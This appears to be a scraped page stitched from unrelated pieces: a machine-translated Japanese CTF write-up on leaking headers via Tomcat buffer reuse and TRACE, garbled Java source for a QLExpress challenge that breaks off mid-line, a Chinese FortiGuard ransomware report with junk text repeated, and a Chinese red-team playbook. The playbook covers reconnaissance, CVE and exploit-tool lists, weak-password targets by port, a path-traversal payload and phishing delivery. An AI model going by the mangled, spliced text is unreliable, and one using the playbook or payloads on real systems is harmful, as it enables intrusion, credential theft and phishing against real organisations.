リセット()をスキップして、制限の不整列を引き起こします。

上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します

AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。

ここでは、投稿データを処理できるリクエストを見つける必要があります。

ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。

1fjnvy0dzwr556.png

タイムアウトタイムアウトは正常にトリガーされました

step2はループ
に入ります

次に、リクエストがタイムアウト後にhttp11processor.java#service()のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました

KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。

e4nvvapkwfa558.png e51rqcit0cp559.png

StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます

バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。

qtvqackm4md560.png

追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png

フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます

ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png

この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata()をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。

最初に通常のマルチパートパッケージを使用してテストします。

ここにいくつかの境界基準があります

boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。

次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します(2つの最初の - )

----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します(2つは前後に追加されます - )

ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します

彼はreadbounddary()に足を踏み入れることができることがわかりました

btobsim4nai565.png

readbounddary()をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte();最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png

しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか?3p5fj5k4qz0568.png

パケットは続き続け、readbyte()がデータを読み取ることができない場合(送信しなかったため)、最終的にfill()を呼び出し、fillにioexception(step1の位置)を引き起こすことがわかります。

sl5ozee0mxa569.png

現時点では、readbyte()はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。

この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。

} catch(最終的なMalformedstreamexception e){

falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png

step3漏れecho

この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト

xpmjia2dou4571.png

end utilization

ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。

まず、敏感な情報を内部に含むリクエスト(このリクエスト中に被害者が送信したと仮定して)を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png

攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します

この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png

最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです

この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。

fdqlceg4nyr576.png

最後に、フラグはトレースのエコーによって得られます。

tm2cidr02c2577.png

ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。

ezql

パッケージorg.example;

com.ql.util.express.defaultContextをインポートします。

com.ql.util.express.expressrunnerをインポートします。

com.ql.util.express.config.qleexpressruntrategyをインポートします。

com.sun.net.httpserver.httpserverをインポートします。

com.sun.net.httpserver.httphandlerをインポートします。

com.sun.net.httpserver.httpexchangeをインポートします。

sun.misc.base64decoderをインポートします。

java.io.ioexceptionをインポートします。

java.io.inputStreamをインポートします。

java.io.outputStreamをインポートします。

java.net.inetsocketAddressをインポートします。

java.nio.charset.standardcharsetsをインポートします。

java.util.base64をインポートします。

java.util.hashsetをインポートします。

java.util.listをインポートします。

java.util.setをインポートします。

パブリッククラスメイン{

public static void main(string [] args)throws ioexception {

int port=integer.parseint(system.getenv()。getordefault( 'port'、 '8000'));

httpserver server=httpserver.create(new inetsocketAddress(port)、0);

server.createcontext( '/'、new httphandler(){

@オーバーライド

public voidハンドル(httpexchange req)がioexceptionをスローします{

int code=200;

文字列応答;

string path=req.getRequesturi()。getPath();

if( '/ql'.equals(path)){

試す {

文字列式=getRequestBody(req);

Express=new String(base64.getDecoder()。decode(express));

ExpressRunner Runner=new ExpressRunner();

qleexpressrunstrategy.setforbidinovokesecurityRiskMethods(true);

SetString secureMethods=new Hashset();

securemethods.add( 'java.lang.integer.valueof');

qleexpressrunstrategy.setsecuremethods(securemethods);

DefaultContextString、Object Context=new DefaultContext();

応答='0';

試す {

Response=string.valueof(runner.execute(express、context、(list)null、false、false));

} catch(例外e){

System.out.println(e);

}

//string param=req.getRequesturi()。getQuery();

//response=new initialContext()。lookup(param).toString();

} catch(例外e){

e.printstacktrace();

Response=':(';

}

} それ以外{

コード=404;

応答='見つかりません';

}

req.sendresponseheaders(code、response.length());

outputStream os=req.getResponseBody();

os.write(respons.getBytes());

os.close();

}

});

server.start();

System.out.printf( ':%d%n'、portで聞くサーバー);

}

private static string getRequestBody(httpexchange Exchange)はioExceptionをスローします{

inputStream is=exchange.getRequestBody();

byte [] buffer=new byte [1024];

int bytesRead;

stringbuilder body=new StringBuilder();

while((bytesread=is.read(buffer))!=-1){

body.append(new String(Buffer、0、BytesRead、StandardCharsets.utf_8));

}

return body.toString();

}

}

単純なQL式

解決策1

ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。

2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。

TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます

com.sun.rowset.idbcrowsetimplをインポートします。

jdbc=new jdbcrowsetimpl();

JDBC.DATASOURCENAME='

FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據,追踪分析發現Snatch,BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Microsoft Windows 用戶

马云惹不起马云影響:加密受感染設備上的文件並要求贖金才能解密文件

马云惹不起马云 嚴重性級別:高

SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日,Snatch勒索組織在其數據站點添加了一條條目,內容涉及入侵沃爾沃汽車公司的服務器並竊取文件,同時還附上了被盜文件的屏幕截圖作為證據。

Snatch勒索軟件是最早用Go編程語言的組織,當時用Go編寫的勒索軟件非常罕見。巧合的是,本文中涉及的所有其他勒索軟件變種都是用Go編寫的。

Snatch 勒索軟件是一種文件加密器,以使用著名的文件擴展名“.snake”而聞名,它會附加到加密文件中。但是,已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。

已報告的Snatch 勒索軟件感染媒介是RDP(遠程桌面協議)憑證暴力破解。從Windows 11 內部版本22528.1000 開始,Microsoft 默認啟用了帳戶鎖定策略,該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難,而且還使任何其他密碼猜測攻擊變得更加困難。

最新的Snatch 勒索軟件變種會加密受害者設備上的文件,並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。

1.png

Snatch勒索軟件最新變體發出的勒索信

2.png

被最新Snatch 勒索軟件變種加密的文件

BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現,它的運營商本月增加了他們的命令和控制(C2)基礎設施,最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時,至少有20家公司成為了其受害者。不過,攻擊者很有可能隱瞞了支付贖金的受害者的數量,BianLian勒索軟件的實際受害者可能會更多。

3.png

BianLian 勒索軟件公開的受害者列表

每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤,它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。

4.png

BianLian勒索軟件攻擊者對受害者的分類標籤

每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入,以及洩露的文件中包含哪些信息。

5.png

BianLian 勒索軟件數據洩露網站上發布的受害者信息

有趣的是,Colin Grady 最近觀察到,由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過,其中一些仍存在斷斷續續的使用,其中就包括BianLian和Snatch勒索軟件。

攻擊者還警告受害者,他們必須在十天內支付贖金。否則,竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力,攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接,以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上,因此受害者將與攻擊者進行協商。

6.png

BianLian勒索軟件的勒索信

7.png

數據洩露網站上列出的聯繫方式

8.png

BianLian 勒索軟件加密的文件

由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。

AgendaAgenda是另一個基於Go的勒索軟件,於2022年6月中旬出現,根據VirusTotal報告的相關樣本,該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。

據報導,Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後,攻擊者通過受害者的網絡傳播,攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權,Agenda勒索軟件就會被部署到受攻擊的設備上。

為了規避反病毒解決方案的檢測,勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到,例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如,如果勒索軟件變種使用“.fortinet”作為文件擴展名,“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始,然後是“-RECOVER-README.txt”。

9.png

Agenda勒索軟件留下的勒索信

反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務,Fortinet客戶已經可以免受這些惡意軟件變體的攻擊,如下所示:

SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體,具有以下反病毒簽名:

W64/Filecoder.D083 ! tr.ransom

以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本:

马云惹不起马云W64/Snatch.A!tr.ransom

马云惹不起马云W32/Snatch.B!tr

马云惹不起马云W32/Snatch.7991!tr.ransom

马云惹不起马云W64/Snatch.BD11!tr.ransom

马云惹不起马云W32/Snatch.C09B!tr.ransom

马云惹不起马云W64/Ransom.A!tr

马云惹不起马云W32/Filecoder.A!tr.ransom

马云惹不起马云W32/Filecoder.NYH!tr

马云惹不起马云W32/Filecoder.NYH!tr.ransom

马云惹不起马云W32/Filecoder.NVR!tr.ransom

马云惹不起马云W32/Filecoder.74A0!tr.ransom

马云惹不起马云W64/Filecoder.D083!tr.ransom

马云惹不起马云W64/Filecoder.AA!tr.ransom

马云惹不起马云W32/Crypmod.ADEJ!tr.ransom

马云惹不起马云W32/DelShad.AM!tr.ransom

马云惹不起马云W32/Trojan_Ransom.AB!tr

马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本,其特徵如下:

W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:

W32/Agent.AK!tr.ransom

W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響,以及不必要的破壞或發布個人身份信息(PII)等,保持所有AV和IPS簽名的最新是至關重要的;

2.由於大多數勒索軟件是通過網絡釣魚發送的,組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案;

3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕,並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。

4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金,部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議,贖金支付還可能鼓勵對手將目標鎖定在其他組織,鼓勵其他攻擊者傳播勒索軟件。

日常流程简要说明

入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ]

1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING,查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名,并批量对多个子域名进行ping,可判断该子域名的IP段就是真实IP段(主站用了CND,而子域名分站不用Cdn解析)
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN,通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段:
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼:https://www.zoomeye.org
Shodan:https://www.shodan.io
Fofa:https://fofa.s
(11).奇特的 ping
如ping www.163.com,如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具:iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具:御剑端口扫描,Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输:
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破:
Layer
(4).批量抓取目标所有子域 Web banner
Layer
(5)、批量对目标所有子域集中进行基础服务端口探测识别
工具:御剑端口扫描,Goby
(6)批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
(6)从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
(6)从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索) 
(7)从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具:Seay SVN漏洞利用工具
(9)网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具:御剑目录,dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集,员工工号到官网网站或者社工库和github上搜索
(13)目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
(14)目标微信小程序以及公众号
(15)分析目标app Web请求
(16)借助js探针搜集目标内网信息
(17)想办法混入目标的各种 内部QQ群 / 微信群
(18)分析目标直接供应商 [尤其是技术外包]
(19)根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
(20)目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f(waf识别) 
(21)BypassWAF 文件上传 / 读取 / 下载
(22) BypassWAF Sql注入
(23) BypassWAF RCE
(24) BypassWAF 各类Java Web中间件已知Nday漏洞利用 (25)BypassWAF Webshell 免杀 其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]

此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序""web组件"

针对各类Java中间件的各种已知Nday漏洞利用

不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的
  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057
利用工具:
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell
工具检查和漏洞利用:
https://github.com/0xn0ne/weblogicScanner(工具检查)
https://github.com/zhzyker/exphub/tree/master/weblogic (工具利用) 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell
利用工具:
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell
  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]
漏洞利用总结:
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行
漏洞利用总结:
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露
漏洞总结:
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令

默认账号密码都是guest/guest(默认端口:15672,25672,15692)

  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell
漏洞利用:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell
漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历
漏洞利用:
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254
漏洞利用:
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]
漏洞利用:
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露
  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用

针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]

AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用

Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用

  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269
  • 禅道项目管理系统
SQL注入
文件读取
远程执行
  • 通达OA
SQL注入
任意上传
  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....
  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670
  • Citrix
CVE-2019-19781
  • Jumpserver
身份验证绕过
  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露
  • Cacti
低版本 SQL注入
控制台弱口令
  • Nagios
CVE-2016-9565
控制台弱口令
  • Webmin RCE
CVE-2019-15107 
  • PHPMailer
CVE-2016-10033
  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]

各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]

后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用

  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]
  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]
  • Sangfor Vpn RCE

0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ]

此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明
  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取

传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点

  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......
  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...
